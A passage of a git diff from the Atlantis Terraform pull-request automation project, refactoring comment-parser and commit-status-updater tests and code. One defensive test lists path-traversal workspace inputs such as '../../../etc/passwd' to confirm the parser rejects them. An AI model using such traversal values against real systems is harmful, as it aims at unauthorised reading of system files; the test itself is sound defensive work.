TestParse_RelativeDirPath(t *testing.T) { } } -// If there's multiple lines but it's whitespace, allow the command. This -// occurs when you copy and paste via GitHub. -func TestParse_Multiline(t *testing.T) { +func TestParse_ValidCommand(t *testing.T) { comments := []string{ "atlantis plan\n", "atlantis plan\n\n", "atlantis plan\r\n", "atlantis plan\r\n\r\n", + "\natlantis plan", + "\r\natlantis plan", + "\natlantis plan\n", + "\r\natlantis plan\r\n", + "atlantis plan", + "Atlantis plan", + "Atlantis Plan", + "ATLANTIS PLAN", } for _, comment := range comments { t.Run(comment, func(t *testing.T) { @@ -275,7 +434,7 @@ func TestParse_Multiline(t *testing.T) { Equals(t, &events.CommentCommand{ RepoRelDir: "", Flags: nil, - Name: models.PlanCommand, + Name: command.Plan, Verbose: false, Workspace: "", ProjectName: "", @@ -289,12 +448,20 @@ func TestParse_InvalidWorkspace(t *testing.T) { comments := []string{ "atlantis plan -w ..", "atlantis apply -w ..", + "atlantis import -w .. address id", + "atlantis import -w .. rm address", "atlantis plan -w /", "atlantis apply -w /", + "atlantis import -w / address id", + "atlantis state -w / rm address", "atlantis plan -w ..abc", "atlantis apply -w abc..", + "atlantis import -w abc.. address id", + "atlantis state -w abc.. rm address", "atlantis plan -w abc..abc", "atlantis apply -w ../../../etc/passwd", + "atlantis import -w ../../../etc/passwd address id", + "atlantis state -w ../../../etc/passwd rm address", } for _, c := range comments { r := commentParser.Parse(c, models.Github) @@ -538,8 +705,9 @@ func TestParse_Parsing(t *testing.T) { "", }, } + for _, test := range cases { - for _, cmdName := range []string{"plan", "apply"} { + for _, cmdName := range []string{"plan", "apply", "import 'some[\"addr\"]' id", "state rm 'some[\"addr\"]'"} { comment := fmt.Sprintf("atlantis %s %s", cmdName, test.flags) t.Run(comment, func(t *testing.T) { r := commentParser.Parse(comment, models.Github) @@ -548,109 +716,163 @@ func TestParse_Parsing(t *testing.T) { Assert(t, test.expWorkspace == r.Command.Workspace, "exp workspace to equal %q but was %q for comment %q", test.expWorkspace, r.Command.Workspace, comment) Assert(t, test.expVerbose == r.Command.Verbose, "exp verbose to equal %v but was %v for comment %q", test.expVerbose, r.Command.Verbose, comment) actExtraArgs := strings.Join(r.Command.Flags, " ") - Assert(t, test.expExtraArgs == actExtraArgs, "exp extra args to equal %v but got %v for comment %q", test.expExtraArgs, actExtraArgs, comment) if cmdName == "plan" { - Assert(t, r.Command.Name == models.PlanCommand, "did not parse comment %q as plan command", comment) + Assert(t, r.Command.Name == command.Plan, "did not parse comment %q as plan command", comment) + Assert(t, test.expExtraArgs == actExtraArgs, "exp extra args to equal %v but got %v for comment %q", test.expExtraArgs, actExtraArgs, comment) } if cmdName == "apply" { - Assert(t, r.Command.Name == models.ApplyCommand, "did not parse comment %q as apply command", comment) + Assert(t, r.Command.Name == command.Apply, "did not parse comment %q as apply command", comment) + Assert(t, test.expExtraArgs == actExtraArgs, "exp extra args to equal %v but got %v for comment %q", test.expExtraArgs, actExtraArgs, comment) + } + if cmdName == "approve_policies" { + Assert(t, r.Command.Name == command.ApprovePolicies, "did not parse comment %q as approve_policies command", comment) + Assert(t, test.expExtraArgs == actExtraArgs, "exp extra args to equal %v but got %v for comment %q", test.expExtraArgs, actExtraArgs, comment) + } + if strings.HasPrefix(cmdName, "import") { + expExtraArgs := "some[\"addr\"] id" // import use default args with `some["addr"] id` + if test.expExtraArgs != "" { + expExtraArgs = fmt.Sprintf("%s %s", test.expExtraArgs, expExtraArgs) + } + Assert(t, r.Command.Name == command.Import, "did not parse comment %q as import command", comment) + Assert(t, expExtraArgs == actExtraArgs, "exp extra args to equal %v but got %v for comment %q", expExtraArgs, actExtraArgs, comment) + } + if strings.HasPrefix(cmdName, "state rm") { + expExtraArgs := "some[\"addr\"]" // state rm use default args with `some["addr"]` + if test.expExtraArgs != "" { + expExtraArgs = fmt.Sprintf("%s %s", test.expExtraArgs, expExtraArgs) + } + Assert(t, r.Command.Name == command.State, "did not parse comment %q as state command", comment) + Assert(t, r.Command.SubName == "rm", "did not parse comment %q as state rm subcommand", comment) + Assert(t, expExtraArgs == actExtraArgs, "exp extra args to equal %v but got %v for comment %q", expExtraArgs, actExtraArgs, comment) } }) } } } -func TestBuildPlanApplyComment(t *testing.T) { +func TestBuildPlanApplyVersionComment(t *testing.T) { cases := []struct { - repoRelDir string - workspace string - project string - commentArgs []string - expPlanFlags string - expApplyFlags string + repoRelDir string + workspace string + project string + autoMergeDisabled bool + autoMergeMethod string + commentArgs []string + expPlanFlags string + expApplyFlags string + expVersionFlags string }{ { - repoRelDir: ".", - workspace: "default", - project: "", - commentArgs: nil, - expPlanFlags: "-d .", - expApplyFlags: "-d .", + repoRelDir: ".", + workspace: "default", + project: "", + commentArgs: nil, + expPlanFlags: "-d .", + expApplyFlags: "-d .", + expVersionFlags: "-d .", }, { - repoRelDir: "dir", - workspace: "default", - project: "", - commentArgs: nil, - expPlanFlags: "-d dir", - expApplyFlags: "-d dir", + repoRelDir: "dir", + workspace: "default", + project: "", + commentArgs: nil, + expPlanFlags: "-d dir", + expApplyFlags: "-d dir", + expVersionFlags: "-d dir", }, { - repoRelDir: ".", - workspace: "workspace", - project: "", - commentArgs: nil, - expPlanFlags: "-w workspace", - expApplyFlags: "-w workspace", + repoRelDir: ".", + workspace: "workspace", + project: "", + commentArgs: nil, + expPlanFlags: "-w workspace", + expApplyFlags: "-w workspace", + expVersionFlags: "-w workspace", }, { - repoRelDir: "dir", - workspace: "workspace", - project: "", - commentArgs: nil, - expPlanFlags: "-d dir -w workspace", - expApplyFlags: "-d dir -w workspace", + repoRelDir: "dir", + workspace: "workspace", + project: "", + commentArgs: nil, + expPlanFlags: "-d dir -w workspace", + expApplyFlags: "-d dir -w workspace", + expVersionFlags: "-d dir -w workspace", }, { - repoRelDir: ".", - workspace: "default", - project: "project", - commentArgs: nil, - expPlanFlags: "-p project", - expApplyFlags: "-p project", + repoRelDir: ".", + workspace: "default", + project: "project", + commentArgs: nil, + expPlanFlags: "-p project", + expApplyFlags: "-p project", + expVersionFlags: "-p project", }, { - repoRelDir: "dir", - workspace: "workspace", - project: "project", - commentArgs: nil, - expPlanFlags: "-p project", - expApplyFlags: "-p project", + repoRelDir: "dir", + workspace: "workspace", + project: "project", + commentArgs: nil, + expPlanFlags: "-p project", + expApplyFlags: "-p project", + expVersionFlags: "-p project", }, { - repoRelDir: ".", - workspace: "default", - project: "", - commentArgs: []string{`"arg1"`, `"arg2"`}, - expPlanFlags: "-d . -- arg1 arg2", - expApplyFlags: "-d .", + repoRelDir: ".", + workspace: "default", + project: "", + commentArgs: []string{`"arg1"`, `"arg2"`}, + expPlanFlags: "-d . -- arg1 arg2", + expApplyFlags: "-d .", + expVersionFlags: "-d .", }, { - repoRelDir: "dir", - workspace: "workspace", - project: "", - commentArgs: []string{`"arg1"`, `"arg2"`, `arg3`}, - expPlanFlags: "-d dir -w workspace -- arg1 arg2 arg3", - expApplyFlags: "-d dir -w workspace", + repoRelDir: "dir", + workspace: "workspace", + project: "", + commentArgs: []string{`"arg1"`, `"arg2"`, `arg3`}, + expPlanFlags: "-d dir -w workspace -- arg1 arg2 arg3", + expApplyFlags: "-d dir -w workspace", + expVersionFlags: "-d dir -w workspace", }, { - repoRelDir: "dir with spaces", - workspace: "default", - project: "", - expPlanFlags: "-d \"dir with spaces\"", - expApplyFlags: "-d \"dir with spaces\"", + repoRelDir: "dir with spaces", + workspace: "default", + project: "", + expPlanFlags: "-d \"dir with spaces\"", + expApplyFlags: "-d \"dir with spaces\"", + expVersionFlags: "-d \"dir with spaces\"", + }, + { + repoRelDir: "dir", + workspace: "workspace", + project: "", + autoMergeDisabled: true, + commentArgs: []string{`"arg1"`, `"arg2"`, `arg3`}, + expPlanFlags: "-d dir -w workspace -- arg1 arg2 arg3", + expApplyFlags: "-d dir -w workspace --auto-merge-disabled", + expVersionFlags: "-d dir -w workspace", + }, + { + repoRelDir: "dir", + workspace: "workspace", + project: "", + autoMergeMethod: "squash", + commentArgs: []string{`"arg1"`, `"arg2"`, `arg3`}, + expPlanFlags: "-d dir -w workspace -- arg1 arg2 arg3", + expApplyFlags: "-d dir -w workspace --auto-merge-method squash", + expVersionFlags: "-d dir -w workspace", }, } for _, c := range cases { t.Run(c.expPlanFlags, func(t *testing.T) { - for _, cmd := range []models.CommandName{models.PlanCommand, models.ApplyCommand} { + for _, cmd := range []command.Name{command.Plan, command.Apply, command.Version} { switch cmd { - case models.PlanCommand: + case command.Plan: actComment := commentParser.BuildPlanComment(c.repoRelDir, c.workspace, c.project, c.commentArgs) Equals(t, fmt.Sprintf("atlantis plan %s", c.expPlanFlags), actComment) - case models.ApplyCommand: - actComment := commentParser.BuildApplyComment(c.repoRelDir, c.workspace, c.project) + case command.Apply: + actComment := commentParser.BuildApplyComment(c.repoRelDir, c.workspace, c.project, c.autoMergeDisabled, c.autoMergeMethod) Equals(t, fmt.Sprintf("atlantis apply %s", c.expApplyFlags), actComment) } } @@ -660,11 +882,13 @@ func TestBuildPlanApplyComment(t *testing.T) { func TestCommentParser_HelpComment(t *testing.T) { cases := []struct { - applyDisabled bool + name string + allowCommands []command.Name expectResult string }{ { - applyDisabled: false, + name: "all commands allowed", + allowCommands: command.AllCommentCommands, expectResult: "```cmake\n" + `atlantis Terraform Pull Request Automation @@ -673,6 +897,9 @@ Usage: atlantis [options] -- [terraform options] Examples: + # show atlantis help + atlantis help + # run plan in the root directory passing the -target flag to terraform atlantis plan -d . -- -target=resource @@ -689,6 +916,15 @@ Commands: To only apply a specific plan, use the -d, -w and -p flags. unlock Removes all atlantis locks and discards all plans for this PR. To unlock a specific plan you can use the Atlantis UI. + approve_policies + Approves all current policy checking failures for the PR. + version Print the output of 'terraform version' + import ADDRESS ID + Runs 'terraform import' for the passed address resource. + To import a specific project, use the -d, -w and -p flags. + state rm ADDRESS... + Runs 'terraform state rm' for the passed address resource. + To remove a specific project resource, use the -d, -w and -p flags. help View help. Flags: @@ -698,7 +934,8 @@ Use "atlantis [command] --help" for more information about a command.` + "\n```", }, { - applyDisabled: true, + name: "all commands disallowed", + allowCommands: []command.Name{}, expectResult: "```cmake\n" + `atlantis Terraform Pull Request Automation @@ -707,12 +944,44 @@ Usage: atlantis [options] -- [terraform options] Examples: - # run plan in the root directory passing the -target flag to terraform - atlantis plan -d . -- -target=resource + # show atlantis help + atlantis help Commands: - plan Runs 'terraform plan' for the changes in this pull request. - To plan a specific project, use the -d, -w and -p flags. + help View help. + +Flags: + -h, --help help for atlantis + +Use "atlantis [command] --help" for more information about a command.` + + "\n```", + }, + { + name: "partial commands allowed", + allowCommands: []command.Name{ + command.Apply, + command.Unlock, + }, + expectResult: "```cmake\n" + + `atlantis +Terraform Pull Request Automation + +Usage: + atlantis [options] -- [terraform options] + +Examples: + # show atlantis help + atlantis help + + # apply all unapplied plans from this pull request + atlantis apply + + # apply the plan for the root directory and staging workspace + atlantis apply -d . -w staging + +Commands: + apply Runs 'terraform apply' on all unapplied plans from this pull request. + To only apply a specific plan, use the -d, -w and -p flags. unlock Removes all atlantis locks and discards all plans for this PR. To unlock a specific plan you can use the Atlantis UI. help View help. @@ -726,8 +995,12 @@ Use "atlantis [command] --help" for more information about a command.` + } for _, c := range cases { - t.Run(fmt.Sprintf("ApplyDisabled: %v", c.applyDisabled), func(t *testing.T) { - Equals(t, commentParser.HelpComment(c.applyDisabled), c.expectResult) + t.Run(c.name, func(t *testing.T) { + commentParser := events.CommentParser{ + ExecutableName: "atlantis", + AllowCommands: c.allowCommands, + } + Equals(t, commentParser.HelpComment(), c.expectResult) }) } } @@ -738,6 +1011,7 @@ func TestParse_VCSUsername(t *testing.T) { GitlabUser: "gl", BitbucketUser: "bb", AzureDevopsUser: "ad", + ExecutableName: "atlantis", } cases := []struct { vcs models.VCSHostType @@ -768,7 +1042,7 @@ func TestParse_VCSUsername(t *testing.T) { for _, c := range cases { t.Run(c.vcs.String(), func(t *testing.T) { r := cp.Parse(fmt.Sprintf("@%s %s", c.user, "help"), c.vcs) - Equals(t, commentParser.HelpComment(false), r.CommentResponse) + Equals(t, cp.HelpComment(), r.CommentResponse) }) } } @@ -777,25 +1051,57 @@ var PlanUsage = `Usage of plan: -d, --dir string Which directory to run plan in relative to root of repo, ex. 'child/dir'. -p, --project string Which project to run plan for. Refers to the name of the - project configured in atlantis.yaml. Cannot be used at - same time as workspace or dir flags. + project configured in a repo config file. Cannot be used + at same time as workspace or dir flags. --verbose Append Atlantis log to comment. -w, --workspace string Switch to this Terraform workspace before planning. ` var ApplyUsage = `Usage of apply: - -d, --dir string Apply the plan for this directory, relative to root of - repo, ex. 'child/dir'. - -p, --project string Apply the plan for this project. Refers to the name of - the project configured in atlantis.yaml. Cannot be used - at same time as workspace or dir flags. - --verbose Append Atlantis log to comment. - -w, --workspace string Apply the plan for this Terraform workspace. + --auto-merge-disabled Disable automerge after apply. + --auto-merge-method string Specifies the merge method for the VCS if + automerge is enabled. (Currently only implemented + for GitHub) + -d, --dir string Apply the plan for this directory, relative to + root of repo, ex. 'child/dir'. + -p, --project string Apply the plan for this project. Refers to the + name of the project configured in a repo config + file. Cannot be used at same time as workspace or + dir flags. + --verbose Append Atlantis log to comment. + -w, --workspace string Apply the plan for this Terraform workspace. ` + +var ApprovePolicyUsage = `Usage of approve_policies: + --clear-policy-approval Clear any existing policy approvals. + -d, --dir string Approve policies for this directory, relative to + root of repo, ex. 'child/dir'. + --policy-set string Approve policies for this project. Refers to the + name of the project configured in a repo config + file. Cannot be used at same time as workspace or + dir flags. + -p, --project string Approve policies for this project. Refers to the + name of the project configured in a repo config + file. Cannot be used at same time as workspace or + dir flags. + --verbose Append Atlantis log to comment. + -w, --workspace string Approve policies for this Terraform workspace. +` + var UnlockUsage = "`Usage of unlock:`\n\n ```cmake\n" + - `atlantis unlock + `atlantis unlock Unlocks the entire PR and discards all plans in this PR. Arguments or flags are not supported at the moment. If you need to unlock a specific project please use the atlantis UI.` + "\n```" + +var ImportUsage = `Usage of import ADDRESS ID: + -d, --dir string Which directory to run import in relative to root of + repo, ex. 'child/dir'. + -p, --project string Which project to run import for. Refers to the name of + the project configured in a repo config file. Cannot be + used at same time as workspace or dir flags. + --verbose Append Atlantis log to comment. + -w, --workspace string Switch to this Terraform workspace before importing. +` diff --git a/server/events/commit_status_updater.go b/server/events/commit_status_updater.go index 2d8238febd..a05b7ef808 100644 --- a/server/events/commit_status_updater.go +++ b/server/events/commit_status_updater.go @@ -15,26 +15,30 @@ package events import ( "fmt" - "strings" + "github.com/runatlantis/atlantis/server/core/runtime" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" + "github.com/runatlantis/atlantis/server/logging" + "golang.org/x/text/cases" + "golang.org/x/text/language" ) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_commit_status_updater.go CommitStatusUpdater +//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_commit_status_updater.go CommitStatusUpdater // CommitStatusUpdater updates the status of a commit with the VCS host. We set // the status to signify whether the plan/apply succeeds. type CommitStatusUpdater interface { // UpdateCombined updates the combined status of the head commit of pull. // A combined status represents all the projects modified in the pull. - UpdateCombined(repo models.Repo, pull models.PullRequest, status models.CommitStatus, command models.CommandName) error + UpdateCombined(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name) error // UpdateCombinedCount updates the combined status to reflect the // numSuccess out of numTotal. - UpdateCombinedCount(repo models.Repo, pull models.PullRequest, status models.CommitStatus, command models.CommandName, numSuccess int, numTotal int) error - // UpdateProject sets the commit status for the project represented by - // ctx. - UpdateProject(ctx models.ProjectCommandContext, cmdName models.CommandName, status models.CommitStatus, url string) error + UpdateCombinedCount(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name, numSuccess int, numTotal int) error + + UpdatePreWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error + UpdatePostWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error } // DefaultCommitStatusUpdater implements CommitStatusUpdater. @@ -44,31 +48,41 @@ type DefaultCommitStatusUpdater struct { StatusName string } -func (d *DefaultCommitStatusUpdater) UpdateCombined(repo models.Repo, pull models.PullRequest, status models.CommitStatus, command models.CommandName) error { - src := fmt.Sprintf("%s/%s", d.StatusName, command.String()) +// ensure DefaultCommitStatusUpdater implements runtime.StatusUpdater interface +// cause runtime.StatusUpdater is extracted for resolving circular dependency +var _ runtime.StatusUpdater = (*DefaultCommitStatusUpdater)(nil) + +func (d *DefaultCommitStatusUpdater) UpdateCombined(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name) error { + src := fmt.Sprintf("%s/%s", d.StatusName, cmdName.String()) var descripWords string switch status { case models.PendingCommitStatus: - descripWords = "in progress..." + descripWords = genProjectStatusDescription(cmdName.String(), "in progress...") case models.FailedCommitStatus: - descripWords = "failed." + descripWords = genProjectStatusDescription(cmdName.String(), "failed.") case models.SuccessCommitStatus: - descripWords = "succeeded." + descripWords = genProjectStatusDescription(cmdName.String(), "succeeded.") } - descrip := fmt.Sprintf("%s %s", strings.Title(command.String()), descripWords) - return d.Client.UpdateStatus(repo, pull, status, src, descrip, "") + return d.Client.UpdateStatus(logger, repo, pull, status, src, descripWords, "") } -func (d *DefaultCommitStatusUpdater) UpdateCombinedCount(repo models.Repo, pull models.PullRequest, status models.CommitStatus, command models.CommandName, numSuccess int, numTotal int) error { - src := fmt.Sprintf("%s/%s", d.StatusName, command.String()) - cmdVerb := "planned" - if command == models.ApplyCommand { +func (d *DefaultCommitStatusUpdater) UpdateCombinedCount(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name, numSuccess int, numTotal int) error { + src := fmt.Sprintf("%s/%s", d.StatusName, cmdName.String()) + cmdVerb := "unknown" + + switch cmdName { + case command.Plan: + cmdVerb = "planned" + case command.PolicyCheck: + cmdVerb = "policies checked" + case command.Apply: cmdVerb = "applied" } - return d.Client.UpdateStatus(repo, pull, status, src, fmt.Sprintf("%d/%d projects %s successfully.", numSuccess, numTotal, cmdVerb), "") + + return d.Client.UpdateStatus(logger, repo, pull, status, src, fmt.Sprintf("%d/%d projects %s successfully.", numSuccess, numTotal, cmdVerb), "") } -func (d *DefaultCommitStatusUpdater) UpdateProject(ctx models.ProjectCommandContext, cmdName models.CommandName, status models.CommitStatus, url string) error { +func (d *DefaultCommitStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, result *command.ProjectResult) error { projectID := ctx.ProjectName if projectID == "" { projectID = fmt.Sprintf("%s/%s", ctx.RepoRelDir, ctx.Workspace) @@ -77,12 +91,47 @@ func (d *DefaultCommitStatusUpdater) UpdateProject(ctx models.ProjectCommandCont var descripWords string switch status { case models.PendingCommitStatus: - descripWords = "in progress..." + descripWords = genProjectStatusDescription(cmdName.String(), "in progress...") case models.FailedCommitStatus: - descripWords = "failed." + descripWords = genProjectStatusDescription(cmdName.String(), "failed.") case models.SuccessCommitStatus: - descripWords = "succeeded." + if result != nil && result.PlanSuccess != nil { + descripWords = result.PlanSuccess.DiffSummary() + } else { + descripWords = genProjectStatusDescription(cmdName.String(), "succeeded.") + } + } + return d.Client.UpdateStatus(ctx.Log, ctx.BaseRepo, ctx.Pull, status, src, descripWords, url) +} + +func genProjectStatusDescription(cmdName, description string) string { + return fmt.Sprintf("%s %s", cases.Title(language.English).String(cmdName), description) +} + +func (d *DefaultCommitStatusUpdater) UpdatePreWorkflowHook(log logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error { + return d.updateWorkflowHook(log, pull, status, hookDescription, runtimeDescription, "pre_workflow_hook", url) +} + +func (d *DefaultCommitStatusUpdater) UpdatePostWorkflowHook(log logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error { + return d.updateWorkflowHook(log, pull, status, hookDescription, runtimeDescription, "post_workflow_hook", url) +} + +func (d *DefaultCommitStatusUpdater) updateWorkflowHook(log logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, workflowType string, url string) error { + src := fmt.Sprintf("%s/%s: %s", d.StatusName, workflowType, hookDescription) + + var descripWords string + if runtimeDescription != "" { + descripWords = runtimeDescription + } else { + switch status { + case models.PendingCommitStatus: + descripWords = "in progress..." + case models.FailedCommitStatus: + descripWords = "failed." + case models.SuccessCommitStatus: + descripWords = "succeeded." + } } - descrip := fmt.Sprintf("%s %s", strings.Title(cmdName.String()), descripWords) - return d.Client.UpdateStatus(ctx.BaseRepo, ctx.Pull, status, src, descrip, url) + + return d.Client.UpdateStatus(log, pull.BaseRepo, pull, status, src, descripWords, url) } diff --git a/server/events/commit_status_updater_test.go b/server/events/commit_status_updater_test.go index 582daf2586..1fe059f203 100644 --- a/server/events/commit_status_updater_test.go +++ b/server/events/commit_status_updater_test.go @@ -17,47 +17,50 @@ import ( "fmt" "testing" - . "github.com/petergtz/pegomock" + . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/mocks" + "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestUpdateCombined(t *testing.T) { + logger := logging.NewNoopLogger(t) cases := []struct { status models.CommitStatus - command models.CommandName + command command.Name expDescrip string }{ { status: models.PendingCommitStatus, - command: models.PlanCommand, + command: command.Plan, expDescrip: "Plan in progress...", }, { status: models.FailedCommitStatus, - command: models.PlanCommand, + command: command.Plan, expDescrip: "Plan failed.", }, { status: models.SuccessCommitStatus, - command: models.PlanCommand, + command: command.Plan, expDescrip: "Plan succeeded.", }, { status: models.PendingCommitStatus, - command: models.ApplyCommand, + command: command.Apply, expDescrip: "Apply in progress...", }, { status: models.FailedCommitStatus, - command: models.ApplyCommand, + command: command.Apply, expDescrip: "Apply failed.", }, { status: models.SuccessCommitStatus, - command: models.ApplyCommand, + command: command.Apply, expDescrip: "Apply succeeded.", }, } @@ -67,61 +70,62 @@ func TestUpdateCombined(t *testing.T) { RegisterMockTestingT(t) client := mocks.NewMockClient() s := events.DefaultCommitStatusUpdater{Client: client, StatusName: "atlantis"} - err := s.UpdateCombined(models.Repo{}, models.PullRequest{}, c.status, c.command) + err := s.UpdateCombined(logger, models.Repo{}, models.PullRequest{}, c.status, c.command) Ok(t, err) expSrc := fmt.Sprintf("atlantis/%s", c.command) - client.VerifyWasCalledOnce().UpdateStatus(models.Repo{}, models.PullRequest{}, c.status, expSrc, c.expDescrip, "") + client.VerifyWasCalledOnce().UpdateStatus(logger, models.Repo{}, models.PullRequest{}, c.status, expSrc, c.expDescrip, "") }) } } func TestUpdateCombinedCount(t *testing.T) { + logger := logging.NewNoopLogger(t) cases := []struct { status models.CommitStatus - command models.CommandName + command command.Name numSuccess int numTotal int expDescrip string }{ { status: models.PendingCommitStatus, - command: models.PlanCommand, + command: command.Plan, numSuccess: 0, numTotal: 2, expDescrip: "0/2 projects planned successfully.", }, { status: models.FailedCommitStatus, - command: models.PlanCommand, + command: command.Plan, numSuccess: 1, numTotal: 2, expDescrip: "1/2 projects planned successfully.", }, { status: models.SuccessCommitStatus, - command: models.PlanCommand, + command: command.Plan, numSuccess: 2, numTotal: 2, expDescrip: "2/2 projects planned successfully.", }, { status: models.FailedCommitStatus, - command: models.ApplyCommand, + command: command.Apply, numSuccess: 0, numTotal: 2, expDescrip: "0/2 projects applied successfully.", }, { status: models.PendingCommitStatus, - command: models.ApplyCommand, + command: command.Apply, numSuccess: 1, numTotal: 2, expDescrip: "1/2 projects applied successfully.", }, { status: models.SuccessCommitStatus, - command: models.ApplyCommand, + command: command.Apply, numSuccess: 2, numTotal: 2, expDescrip: "2/2 projects applied successfully.", @@ -133,11 +137,11 @@ func TestUpdateCombinedCount(t *testing.T) { RegisterMockTestingT(t) client := mocks.NewMockClient() s := events.DefaultCommitStatusUpdater{Client: client, StatusName: "atlantis-test"} - err := s.UpdateCombinedCount(models.Repo{}, models.PullRequest{}, c.status, c.command, c.numSuccess, c.numTotal) + err := s.UpdateCombinedCount(logger, models.Repo{}, models.PullRequest{}, c.status, c.command, c.numSuccess, c.numTotal) Ok(t, err) expSrc := fmt.Sprintf("%s/%s", s.StatusName, c.command) - client.VerifyWasCalledOnce().UpdateStatus(models.Repo{}, models.PullRequest{}, c.status, expSrc, c.expDescrip, "") + client.VerifyWasCalledOnce().UpdateStatus(logger, models.Repo{}, models.PullRequest{}, c.status, expSrc, c.expDescrip, "") }) } } @@ -170,16 +174,15 @@ func TestDefaultCommitStatusUpdater_UpdateProjectSrc(t *testing.T) { t.Run(c.expSrc, func(t *testing.T) { client := mocks.NewMockClient() s := events.DefaultCommitStatusUpdater{Client: client, StatusName: "atlantis"} - err := s.UpdateProject(models.ProjectCommandContext{ + err := s.UpdateProject(command.ProjectContext{ ProjectName: c.projectName, RepoRelDir: c.repoRelDir, Workspace: c.workspace, - }, - models.PlanCommand, - models.PendingCommitStatus, - "url") + }, command.Plan, models.PendingCommitStatus, "url", nil) Ok(t, err) - client.VerifyWasCalledOnce().UpdateStatus(models.Repo{}, models.PullRequest{}, models.PendingCommitStatus, c.expSrc, "Plan in progress...", "url") + client.VerifyWasCalledOnce().UpdateStatus( + Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(models.PullRequest{}), Eq(models.PendingCommitStatus), Eq(c.expSrc), + Eq("Plan in progress..."), Eq("url")) }) } } @@ -189,38 +192,47 @@ func TestDefaultCommitStatusUpdater_UpdateProject(t *testing.T) { RegisterMockTestingT(t) cases := []struct { status models.CommitStatus - cmd models.CommandName + cmd command.Name + result *command.ProjectResult expDescrip string }{ { - models.PendingCommitStatus, - models.PlanCommand, - "Plan in progress...", + status: models.PendingCommitStatus, + cmd: command.Plan, + expDescrip: "Plan in progress...", }, { - models.FailedCommitStatus, - models.PlanCommand, - "Plan failed.", + status: models.FailedCommitStatus, + cmd: command.Plan, + expDescrip: "Plan failed.", }, { - models.SuccessCommitStatus, - models.PlanCommand, - "Plan succeeded.", + status: models.SuccessCommitStatus, + cmd: command.Plan, + result: &command.ProjectResult{ + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "aaa\nNote: Objects have changed outside of Terraform\nbbb\nPlan: 1 to add, 2 to change, 3 to destroy.\nbbb", + }, + }, + expDescrip: "Plan: 1 to add, 2 to change, 3 to destroy.", }, { - models.PendingCommitStatus, - models.ApplyCommand, - "Apply in progress...", + status: models.PendingCommitStatus, + cmd: command.Apply, + expDescrip: "Apply in progress...", }, { - models.FailedCommitStatus, - models.ApplyCommand, - "Apply failed.", + status: models.FailedCommitStatus, + cmd: command.Apply, + expDescrip: "Apply failed.", }, { - models.SuccessCommitStatus, - models.ApplyCommand, - "Apply succeeded.", + status: models.SuccessCommitStatus, + cmd: command.Apply, + result: &command.ProjectResult{ + ApplySuccess: "success", + }, + expDescrip: "Apply succeeded.", }, } @@ -228,15 +240,13 @@ func TestDefaultCommitStatusUpdater_UpdateProject(t *testing.T) { t.Run(c.expDescrip, func(t *testing.T) { client := mocks.NewMockClient() s := events.DefaultCommitStatusUpdater{Client: client, StatusName: "atlantis"} - err := s.UpdateProject(models.ProjectCommandContext{ + err := s.UpdateProject(command.ProjectContext{ RepoRelDir: ".", Workspace: "default", - }, - c.cmd, - c.status, - "url") + }, c.cmd, c.status, "url", c.result) Ok(t, err) - client.VerifyWasCalledOnce().UpdateStatus(models.Repo{}, models.PullRequest{}, c.status, fmt.Sprintf("atlantis/%s: ./default", c.cmd.String()), c.expDescrip, "url") + client.VerifyWasCalledOnce().UpdateStatus(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(models.PullRequest{}), Eq(c.status), + Eq(fmt.Sprintf("atlantis/%s: ./default", c.cmd.String())), Eq(c.expDescrip), Eq("url")) }) } } @@ -246,14 +256,11 @@ func TestDefaultCommitStatusUpdater_UpdateProjectCustomStatusName(t *testing.T) RegisterMockTestingT(t) client := mocks.NewMockClient() s := events.DefaultCommitStatusUpdater{Client: client, StatusName: "custom"} - err := s.UpdateProject(models.ProjectCommandContext{ + err := s.UpdateProject(command.ProjectContext{ RepoRelDir: ".", Workspace: "default", - }, - models.ApplyCommand, - models.SuccessCommitStatus, - "url") + }, command.Apply, models.SuccessCommitStatus, "url", nil) Ok(t, err) - client.VerifyWasCalledOnce().UpdateStatus(models.Repo{}, models.PullRequest{}, - models.SuccessCommitStatus, "custom/apply: ./default", "Apply succeeded.", "url") + client.VerifyWasCalledOnce().UpdateStatus(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(models.PullRequest{}), + Eq(models.SuccessCommitStatus), Eq("custom/apply: ./default"), Eq("Apply succeeded."), Eq("url")) } diff --git a/server/events/db/boltdb.go b/server/events/db/boltdb.go deleted file mode 100644 index 3da2135dd8..0000000000 --- a/server/events/db/boltdb.go +++ /dev/null @@ -1,390 +0,0 @@ -// Package db handles our database layer. -package db - -import ( - "bytes" - "encoding/json" - "fmt" - "os" - "path" - "strings" - "time" - - "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/events/models" - bolt "go.etcd.io/bbolt" -) - -// BoltDB is a database using BoltDB -type BoltDB struct { - db *bolt.DB - locksBucketName []byte - pullsBucketName []byte -} - -const ( - locksBucketName = "runLocks" - pullsBucketName = "pulls" - pullKeySeparator = "::" -) - -// New returns 